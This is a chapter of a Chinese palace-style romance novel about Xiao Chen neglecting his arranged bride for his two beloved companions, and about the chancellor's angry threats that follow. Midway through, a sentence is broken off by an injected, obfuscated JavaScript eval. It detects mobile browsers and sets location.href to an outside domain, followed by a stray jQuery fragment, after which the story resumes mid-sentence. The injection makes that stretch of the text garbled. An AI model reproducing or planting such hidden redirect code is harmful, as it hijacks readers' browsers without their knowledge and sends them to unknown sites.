肖晨推开李傲雪房门时,屋内只点着一盏昏黄的油灯,她正坐在床边,手里攥着一方绣了一半的手帕,指尖泛白。听到动静,她猛地抬头,看到是他,眼里先是闪过一丝惊喜,随即又被担忧取代,连忙起身迎上来:“少爷,你怎么没去洞房?高小姐她……”
话没说完,肖晨就伸手将她紧紧抱在怀里,下巴抵着她的发顶,声音带着压抑的疲惫与滚烫的真诚:“我没法跟她睡。傲雪,我试过了,可我一想到要对着别人,心里就像被针扎一样——我心里只有你和丁香,装不下第三个人。”
李傲雪的身体瞬间僵住,眼泪毫无预兆地涌了出来,顺着脸颊滴落在他的衣襟上。她抬手环住他的腰,将脸埋进他的胸膛,声音哽咽却带着极致的欢喜:“少爷……我还以为……还以为你以后不会再像以前那样疼我了。我真的不想少爷属于别人,一点都不想。”
“不会的。”肖晨捧起她的脸,指腹轻轻擦去她的泪痕,低头吻上她的唇。这个吻,没有了往日的温柔缱绻,多了几分失而复得的急切与坚定,舌尖缠着她的,仿佛要将所有的愧疚与爱意都融进这一吻里。李傲雪闭上眼,伸手紧紧抓着他的衣襟,踮起脚尖回应着他,油灯的光映在两人交叠的身影上,将满室的孤寂都驱散了。
他的手轻轻抚过她的脊背,从她的发梢到腰间,每一处都带着熟悉的温度,让李傲雪忍不住轻轻颤抖。肖晨低头在她的颈间落下细密的吻,咬着她的耳垂轻声说:“傲雪,我只属于你们两个,永远都是。”她泛红着眼眶点头,指尖划过他的眉眼,将他拉得更近,两人的呼吸渐渐交缠,衣衫在不经意间滑落,露出的肌肤贴着肌肤,滚烫得像要燃烧起来。
油灯的火苗忽明忽暗,映着帐幔轻轻晃动。肖晨动作温柔却带着不容错辨的占有,将她压在柔软的床榻上,在她耳边反复说着“对不起”与“我爱你”;李傲雪则紧紧抱着他,将脸埋在他的肩窝,细碎的轻吟混着彼此的心跳,在安静的夜里格外清晰。这一夜,没有被迫的妥协,没有外人的打扰,只有属于他们两人的滚烫与缠绵,仿佛要将这些日子的委屈与不安,都在这极致的亲密里抚平。
而另一边的新房,红烛燃得正旺,却映得满室冷清。高小姐坐在铺满红枣、花生的床榻上,盖头早已被她自己悄悄掀开,手里捏着喜帕,眼神落在紧闭的房门上,眼底满是落寞。丫鬟小红端着早已凉透的合卺酒走进来,见房里依旧只有自家小姐一人,顿时气不打一处来,将托盘重重放在桌上,压低声音抱怨:“小姐!这肖姑爷也太过分了!哪有新婚夜把新娘子晾在房里,跑去别的女人房里的道理?这要是传出去,人家还以为您是个没人要的,您往后在肖府怎么抬得起头啊!”
高小姐垂着眼,轻轻攥紧了喜帕,没说话。小红见她不吭声,更急了,凑到她身边,语气里带着几分鄙夷:“小姐您可是堂堂相府千金,金枝玉叶!那李傲雪虽说以前是官宦世家的小姐,可她家和您比还差着一截;更别说那个丁香了!我今天听府里的下人说,她以前是花船上的妓女,是肖姑爷从花船上赎回来的!一个下贱蹄子,凭什么跟您平起平坐,还让姑爷这么上心?”
“小红!”高小姐猛地抬头,声音带着几分严厉,“不许胡说!丁香姑娘既然进了肖府,就是肖家人,岂能容你这般诋毁?”
小红愣了愣,委屈地瘪了瘪嘴:“小姐,我这不是为您抱不平嘛!您看您,今天受了这么大的委屈,姑爷连面都不肯露,还跑去陪那两个女人,尤其是那个妓女……”
“够了!”高小姐打断她,深吸一口气,眼底的落寞更甚,“婚姻是我爹和陛下促成的,肖大人本就不情愿。他心里有别人,我早该想到的。至于丁香姑娘,出身不能代表什么,肖大人既肯待她好,就说明她有过人之处,咱们做晚辈的,不该背后议论。”
话虽这么说,高小姐的指尖却还是微微泛白——她再知书达理,也是新婚夜被冷落的新娘,小红的话像针一样,扎在她心里,让她忍不住想起自己往后在肖府的日子,不知要面对多少流言蜚语,多少孤寂冷清。红烛的火苗“噼啪”响了一声,溅起一点火星,很快又归于平静,就像她此刻的心情,再怎么委屈,也只能压在心底。
小红见小姐动了气,不敢再多说,只能小声劝道:“小姐,那您也不能就这么坐着啊!好歹派人去催催姑爷,让他过来陪陪您,不然这新婚夜多难看啊!”
高小姐摇了摇头,轻轻叹了口气:“不必了。他若有心,自然会来;他若无心,催了也没用,反倒落得个咄咄逼人的名声。就这样吧,你先下去,我想一个人待一会儿。”
小红没办法,只能不甘心地退了出去,临走前还不忘回头看了一眼紧闭的房门,心里把肖晨和丁香骂了好几遍。新房里只剩下高小姐一人,她看着跳跃的烛火,眼神渐渐放空,不知道这样的日子,还要持续多久。
第二天一早,肖府的下人就忙着收拾前一晚的喜庆痕迹,只是内院的气氛依旧沉闷。肖晨从李傲雪房里出来时,正撞见迎面走来的高小姐——她穿着一身素雅的衣裙,眼底带着淡淡的疲惫,显然是一夜没睡好。
两人对视一眼,都有些尴尬。肖晨张了张嘴,想说句抱歉,却被高小姐轻轻摇头打断:“肖大人,时辰不早了,该去给公婆敬茶了。”
到了大厅,肖父肖母已经坐在主位上。高小姐按照规矩,端起丫鬟递来的热茶,先走到肖父面前,屈膝行礼:“爹,请用茶。”又转向肖母,恭敬地递上另一杯,“娘,请用茶。”
肖母接过茶,脸上总算有了点笑意,拉着高小姐的手说了几句客套话,无非是“以后就是一家人了”“好好照顾肖晨”之类的话。
敬完公婆,按照肖府的规矩,高小姐还要给李傲雪敬茶——虽说是平妻,但李傲雪进门早,高小姐需先表尊重。高小姐端着茶走到李傲雪面前,微微屈膝:“姐姐,请用茶。”
李傲雪连忙起身接过,语气温和:“妹妹不必多礼,往后咱们姐妹好好相处。”
敬完李傲雪,就该轮到丁香了。丁香站在一旁,穿着一身浅青色衣裙,手里攥着衣角,显得有些局促。高小姐端着茶,刚要迈步朝她走去,肖母却突然开口,声音带着明显的嫌弃:“不用给她敬茶!”
这话一出,大厅里瞬间安静下来。肖母放下茶杯,眼神轻蔑地扫过丁香:“你是相府千金,金枝玉叶,她一个从花船上来的贱蹄子,哪配承受你的礼?传出去,人家还以为咱们肖府没规矩,让个下贱坯子跟你平起平坐!”
丁香的脸瞬间变得惨白,头垂得更低,指尖几乎要把衣角攥破。肖晨皱起眉头,刚想开口反驳,却被肖母狠狠瞪了一眼:“你别说话!这府里的规矩,还轮不到你一个小辈来改!”
高小姐站在原地,手里还端着茶杯,进退两难。她看了看肖母强硬的神色,又看了看丁香委屈的模样,最终还是轻轻放下茶杯,对着肖母屈膝行了一礼:“娘说的是,是女儿考虑不周了。”说罢,便识趣地退到了一旁,没有再给丁香敬茶。
肖晨看着丁香通红的眼眶,心里又疼又气,却碍于母亲的面子,只能暂时压下怒火。他走到丁香身边,轻轻拍了拍她的肩,用只有两人能听到的声音说:“别往心里去,有我在。”
丁香抬起头,眼里含着泪,却还是轻轻摇了摇头,声音带着哽咽:“我没事,公子……娘说的是实话,我本就配不上……”
“不许这么说!”肖晨打断她,语气坚定,“在我心里,你和傲雪一样重要,没有什么配不配的。”
肖母见他维护丁香,脸色更沉,却没再继续发作——毕竟今天是高小姐敬茶的日子,闹得太难看,也会让高小姐没面子。她冷哼一声,对着众人说:“好了,敬茶的事就到这儿吧。往后府里的规矩,还得按老样子来,谁也别想坏了规矩!”
说完,便起身回了内院。肖父看着这尴尬的场面,只能无奈地叹了口气,也跟着走了。大厅里的气氛依旧压抑,李傲雪走到丁香身边,轻轻握住她的手,无声地安慰着她;高小姐则站在一旁,眼神复杂地看着眼前的一切,心里更清楚——往后在肖府的日子,恐怕不会太平。
敬茶的尴尬过后,前厅的早饭早已没了热气,众人也都没了吃饭的心思,草草散了场。肖晨没去管回房休息的高小姐,也没去安抚李傲雪——他知道傲雪能理解,此刻他最放心不下的,是被母亲当众羞辱的丁香。
他让人把前厅的饭菜重新热了,端到丁香的房间。推开门时,果然见丁香正坐在床沿,背对着门口,肩膀微微耸动,显然还在难过。
“丁香。”肖晨轻声开口,将食盒放在桌上,走到她身边。
丁香连忙擦干眼泪,转过身强装笑脸:“公子,你怎么来了?你……你不陪着高小姐吗?她刚进门,你该多陪陪她才是。”
肖晨在她身边坐下,伸手将她揽进怀里,声音温柔却坚定:“你是我的爱人,我陪你是应该的。高小姐那边有丫鬟照料,不用我操心。倒是刚才娘说的那些话,让你受委屈了,我知道你心里难受。”
被他戳中心事,丁香的眼泪又忍不住掉了下来,却还是摇着头:“我没事的公子,娘说的是事实,我本来就是从花船上来的,确实……确实配不上你。”
“不许这么说。”肖晨捧起她的脸,用指腹擦掉她的泪痕,眼神认真,“出身从来不是衡量一个人的标准。你善良、懂事,还会为我着想,这些都比所谓的‘身份’珍贵得多。在我心里,你比谁都好。”他指了指桌上的食盒,“咱们先吃饭,别饿坏了自己,你要是生病了,我会心疼的。”
说着,他打开食盒,端出一碗温热的小米粥,拿起勺子舀了一勺,吹凉后递到丁香嘴边:“来,张嘴。”
丁香看着他温柔的眼神,心里的委屈渐渐消散,顺从地张开嘴,喝下了那勺粥。肖晨就这么一勺一勺地喂着她,偶尔夹一筷子她爱吃的青菜,动作耐心又细致。
吃完饭,丁香主动收拾碗筷,却被肖晨拦住。他将她拉回怀里,让她靠在自己肩上。丁香抱着他的腰,脸贴在他的胸膛,听着他沉稳的心跳,轻声说:“公子,不管我受多少委屈,只要有你的爱,我就什么都不在乎。就算别人都看不起我,只要你还想着我,我就不怕。”
肖晨低头吻了吻她的发顶,声音带着滚烫的真诚:“你和傲雪都是我的爱人,这辈子我都会护着你们。就算高小姐身份再高贵,也走不进我心里——在我眼里,她只是‘肖府的少夫人’,而你们,是我想共度一生的人。”
他顿了顿,收紧手臂将她抱得更紧:“能拥有你和傲雪的爱,才是我这辈子最幸福的事。别再想那些不开心的,往后有我在,谁也不能再让你受委屈。”
丁香靠在他怀里,点了点头,眼泪却又掉了下来——这次不是因为难过,而是因为感动。她知道,只要有肖晨在,就算往后的日子还有再多风雨,她也能勇敢地走下去。
高小姐回到房里,刚卸下头上的钗环,就见小红端着茶水进来,一开口就满是不平:“小姐,您也太好性子了!刚才在大厅,您居然真要给那贱蹄子行礼?要不是老夫人拦着,传出去还不知道人家怎么笑话您呢!还有姑爷,明知道您是新婚,却一心护着那个花船出来的,连您的脸面都不顾,这也太过分了!”
高小姐接过茶杯,指尖触到温热的杯壁,却没什么暖意,只是轻轻叹了口气:“敬茶本就是规矩,她既在肖府有份位,我按规矩行事,没什么不对的。”
“规矩?”小红急得放下托盘,凑近说道,“小姐您就是太看重规矩了!您想想,往后日子还长着呢,姑爷总往那两个女人房里跑,把您晾在一边,您难道要一直独守空房?您可是堂堂相府千金,金枝玉叶,怎么能被一个败落官宦家的小姐,还有一个下贱蹄子比下去?”
她越说越激动,声音也拔高了些:“您得想办法把姑爷的心拉到您这里来啊!比如学着做些姑爷爱吃的菜,或者在他面前多露露才艺——您琴棋书画样样精通,哪点比不上她们?那李傲雪也就会绣个东西,丁香更是除了伺候人啥也不会,您只要多上点心,姑爷肯定会注意到您的!”
高小姐握着茶杯的手紧了紧,眼底闪过一丝犹豫——小红的话,其实说到了她心里。新婚夜独守空房,今早敬茶又被冷落,她何尝不委屈?只是她从小受的教养告诉她,不能像泼妇一样争风吃醋。
“可……可肖大人心里本就没有我,我就算做这些,他也未必会放在心上。”高小姐的声音带着几分无力,“而且我若是主动去争,反倒落了下乘,也会让肖府上下看笑话。”
“小姐,这不是‘争’,是为您自己的将来打算啊!”小红急忙劝道,“您要是一直这么 passive,姑爷这辈子都不会多看您一眼!您想想丞相大人,他把您嫁过来,是希望您能好好过日子,不是让您来受委屈的!您得硬气点,哪怕是用点小手段,也得让姑爷知道您的好,让他把心思放在您身上!”
高小姐沉默了,低头看着杯里的茶水,映出自己略带落寞的模样。她不是没想过这些,只是她实在做不出“争宠”的事——她既不想学那些阴私手段,也不愿去为难李傲雪和丁香。可小红的话像根刺,扎在她心里:若真一直这样下去,她在肖府的日子,恐怕真的要在冷清中度过了。
见她不说话,小红又放软了语气:“小姐,我知道您心善,可人心都是偏的,您不主动,姑爷永远不会注意到您。哪怕从简单的开始,比如明天起,您亲自去厨房盯着,给姑爷做些他爱吃的点心,总比什么都不做要好啊。”
高小姐指尖轻轻摩挲着杯沿,犹豫了许久,最终还是轻轻点了点头——她或许做不到争风吃醋,但为了自己往后的日子,试着主动一点,总归是没错的。只是她心里清楚,肖晨的心里早已被人占满,就算她做再多,恐怕也很难走进他心里。
肖晨的七天婚假才过了两天,府里就传来通报——高丞相亲自上门了。他虽对这门婚事满心抵触,但碍于礼数,还是整理好衣袍,带着管家去门口迎接。
见高丞相下了马车,肖晨上前躬身行礼,语气平淡却守着规矩:“岳父大人。”
高丞相“嗯”了一声,目光扫过肖晨,带着几分审视,只淡淡道:“我来看看我女儿,你先忙你的去吧,不用跟着。”话里的疏离与不满,谁都听得出来。
肖晨也不勉强,顺势应下:“岳父有任何需要,随时吩咐管家便是。”说罢,便站在原地,看着高丞相带着随从往高小姐的院子走去。
高小姐听说父亲来了,连忙起身整理衣裙,刚走到门口,就见高丞相已经进了院,她连忙迎上去,屈膝行礼:“爹。”
“起来吧,”高丞相扶了她一把,目光落在她脸上,见她眼底带着淡淡的倦意,眉头不由得皱了皱,“在这儿住得还习惯?”
他话音刚落,一旁的小红就抢先一步上前,膝盖微微一弯,语气带着刻意的委屈:“丞相大人!您可算来了!我家小姐这几天在肖府,过得太委屈了!”
高小姐想拦,却已经来不及。小红抬着头,语速飞快地说道:“新婚夜那天,姑爷就没进过小姐的房门,整夜都待在正妻房里!第二天敬茶,小姐本来按规矩要给那丁香行礼,老夫人虽说拦了,可姑爷当场就护着那丁香,看都没看小姐一眼!”
她越说越激动,声音也拔高了些:“这两天姑爷更是过分,早饭、午饭都陪着李傲雪和丁香吃,连咱们院子的门都没踏进来过!小姐每天守着空房,连口热乎饭都没心思吃,夜里也睡不着,您看小姐这脸色,都瘦了一圈了!”
小红还想接着说,高小姐连忙打断她:“小红!别胡说,我没有……”
“小姐您就是太善良了!”小红转头看向高小姐,带着几分急切,“这些委屈您不跟丞相大人说,谁还能为您做主啊?您是相府千金,凭什么要受这种气?那李傲雪出身早就败落了,丁香更是下贱蹄子,凭什么跟您抢姑爷?”
高丞相的脸色越听越沉,原本只是略带审视的眼神,此刻已满是怒火。他看向高小姐,语气带着心疼与严厉:“她说的都是真的?你受了这么多委屈,怎么不派人给我送信?”
高小姐垂着头,指尖攥着衣角,声音带着几分哽咽:“爹,我……我就是觉得,刚嫁过来就闹得人尽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296147|178041||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
皆知不好,而且肖大人他……他也是身不由己……”
“身不由己?”高丞相冷笑一声,猛地一拍桌子,“他身不由己,就能让我高某人的女儿独守空房?就能让一个花船女子骑到你头上?我当初让你嫁过来,是让你当肖府的主母,不是让你受这种窝囊气的!”
他站起身,语气带着不容置疑的强硬:“你别怕,有爹在!今天我就替你讨个说法!我倒要问问肖晨,他眼里到底有没有你这个妻子,有没有我这个岳父,有没有陛下亲赐的这门婚事!”
说罢,高丞相转身就往外走,怒气冲冲的模样,显然是要去找肖晨算账。高小姐连忙上前拉住他的衣袖,急声道:“爹!您别去!若是闹僵了,往后我在肖府更难立足了!”
“难立足?”高丞相停下脚步,回头看着女儿,眼神复杂,“你若是一直这么忍下去,才是真的难立足!今天这事,我必须管!”
他轻轻推开高小姐的手,大步流星地往外走,留下高小姐站在原地,满脸焦急与无措——她既怕父亲与肖晨闹僵,让彼此难堪,又忍不住生出一丝期待,希望父亲能为她讨回一点体面。而这一切,都被躲在廊柱后的丁香看在眼里,她攥紧了手里的食盒,悄悄转身离开,心里满是不安——她知道,一场风波,恐怕又要来了。
高丞相坐在大厅主位上,脸色阴沉得能滴出水来。管家匆匆将肖晨请来时,就见高丞相手里攥着茶盏,指节都泛了白。
肖晨走进大厅,依着礼数躬身:“岳父找我,有何事?”
“何事?”高丞相猛地将茶盏顿在桌上,茶水溅出几滴,语气带着怒火,“我倒要问问你!我女儿有哪里不好?论家世、论才情、论容貌,哪点配不上你?你竟敢新婚夜就冷落她,这几天更是连她的院门都不踏进去,你眼里还有没有她这个妻子?”
肖晨直起身,神色平静却态度坚定:“岳父,我从没想过刻意冷落高小姐。只是我的心里,早已被傲雪和丁香填满,实在没有多余的位置留给旁人。这门赐婚本就非我所愿,若不是陛下以满门性命相逼,我绝不会答应。”
“放肆!”高丞相拍案而起,声音陡然拔高,“你竟敢说这门婚事是委屈了你?我女儿嫁给你,是你的福气!多少王公贵族想要求娶她,我都没答应,偏偏选了你,你还不知好歹!”
他上前一步,眼神锐利如刀,带着赤裸裸的威胁:“肖晨,你可别忘了,你如今的官职、你肖家的安稳,都离不开朝廷的恩宠。我能让你顺顺利利娶到我女儿,也能让你一夜之间一无所有——你的官职,你的性命,都攥在我手里!你要是再不识抬举,继续冷落我女儿,就别怪我不客气!”
肖晨迎着他的目光,没有丝毫退缩,语气反而更显决绝:“岳父的威胁,我记下了。但就算我失去官职、丢掉性命,就算肖家因此陷入困境,我也绝不会背叛我的妻子。傲雪和丁香陪我历经风雨,我早已许诺此生只护她们二人,这份承诺,我不会食言。”
“好!好一个不会食言!”高丞相被他气得浑身发抖,指着肖晨的鼻子,“你以为你这是重情义?我看你是愚蠢!为了两个女人,连自己的前途和家族都不顾,你迟早会后悔!”
肖晨微微垂眸,声音依旧平静:“我不会后悔。若为了前途背弃爱人,那才是我此生最大的遗憾。岳父若是为了高小姐好,不如劝劝她——强扭的瓜不甜,她值得更好的人,而不是留在我身边受委屈。”
“你还敢替我女儿做主?”高丞相怒极反笑,“肖晨,你给我等着!我倒要看看,你能硬气到什么时候!”说罢,他甩袖转身,对着门外喊道:“备车!回府!”
看着高丞相怒气冲冲离去的背影,肖晨轻轻叹了口气。肖晨独自坐在大厅的椅子上,指尖还残留着方才攥紧的凉意。他望着空荡荡的门口,眉头紧锁,心里满是对未来的担忧——高丞相的怒火绝不会轻易平息,往后不仅是他,连肖府上下都可能被卷入风波。
就在这时,身后传来轻轻的脚步声。肖晨回头,见丁香端着一碗热茶站在门口,眼眶通红,显然是刚才在门外听到了他和高丞相的对话。
“公子……”丁香走到他身边,将热茶递到他手里,声音带着哽咽,“你……你就好好对待高小姐吧。我和少夫人没关系的,只要你能平安,我们怎么样都好。”
肖晨猛地抬头,伸手将她拉进怀里,紧紧抱住,声音带着几分慌乱:“你怎么能这么说?我无法跟别的女人在一起,你明知道的!难道你也想把我推给她吗?”
丁香靠在他怀里,眼泪终于忍不住掉了下来,浸湿了他的衣襟:“我自然是不愿意的!我恨不得公子一辈子只陪着我和少夫人,可是……可是高丞相权大势大,他要是真的为难你,我们该怎么办?我怕……我怕他会对你不利,怕我们再也不能像以前那样在一起了。”
“不会的。”肖晨捧起她的脸,用指腹擦掉她的泪痕,眼神坚定得不容置疑,“丁香,你记住,就算是失去官职、丢掉性命,我也绝不会背叛你和傲雪。若是让我用背叛你们来换平安,那我还不如死了——没有你们,我活着还有什么意义?”
他将她重新拥入怀中,下巴抵着她的发顶,声音带着滚烫的真诚:“别担心,就算高丞相要对付我,我也会想办法应对。我答应过要护着你们,就绝不会食言。不管未来有多少风雨,我们都一起面对,好不好?”
丁香靠在他怀里,感受着他温热的体温和坚定的心跳,心里的不安渐渐消散。她用力点头,伸手紧紧抱住他的腰,声音哽咽却带着决心:“好,我们一起面对。不管发生什么事,我都跟着公子,绝不离开。”
肖晨抱着她,心里满是暖意。他知道,只要有傲雪和丁香在身边,就算前路再难,他也有勇气走下去——这份情意,是他此生最珍贵的铠甲,足以抵御所有风雨。
高小姐正坐在窗边发呆,想着父亲方才怒气冲冲离开的模样,心里满是不安。这时,小红匆匆跑进来,喘着气将大厅里的事一五一十说了一遍,末了还带着几分急意:“小姐,您是没看见,丞相大人气得都拍桌子了!姑爷也太犟了,居然敢跟丞相大人叫板,说就算丢了性命也不跟您好好过,这也太过分了!”
高小姐听完,眉头紧紧皱起,声音带着几分无奈:“爹怎么能这样……就算有不满,也不该跟肖大人闹得这么僵,往后我在肖府,岂不是更难做人了?”
“小姐!”小红连忙打断她,语气带着恨铁不成钢的急切,“您怎么还替姑爷说话啊?您就算不为自己想想,也得为丞相大人想想吧!外面要是知道您在肖府受冷落,连丞相的面子都没地方放——人家会说丞相连自己的女儿都护不住,传出去对丞相的名声多不好?而且旁人会怎么看您?说您是个留不住丈夫心的弃妇,您往后还怎么抬头做人啊!”
她上前一步,拉住高小姐的手,语气又软了些:“丞相大人这是为您出头啊!他疼您,才舍不得您受委屈。您想想,您今年才十七岁,正是大好年华,难道要一辈子守着空房,连点男人的爱和陪伴都没有,就这么孤独一辈子吗?”
高小姐垂着眼,指尖轻轻摩挲着衣袖,心里泛起一阵酸楚。小红的话像一根针,扎中了她心底最柔软的地方——她确实害怕孤独,也渴望能有一个人真心待她,可肖晨的心里早已没有她的位置,就算父亲再怎么施压,又能改变什么呢?
“可……可肖大人心里根本没有我,就算逼他,他也不会对我好的。”高小姐的声音带着几分无力,“强扭的瓜不甜,我就算得到他的人,也得不到他的心,又有什么用呢?”
“小姐,人心都是能慢慢捂热的啊!”小红急忙劝道,“只要您多花点心思,让姑爷看到您的好,他总有一天会回心转意的!您要是一直这么消沉下去,才真的要孤独一辈子了!您可是相府千金,不能就这么认输啊!”
高小姐沉默了,低头看着自己的手,心里满是矛盾。她既不想违背自己的心意去“争宠”,又怕真的像小红说的那样,一辈子都活在冷清和孤独里。窗外的阳光透过窗棂洒进来,却照不进她此刻迷茫的心底,她不知道,自己到底该何去何从。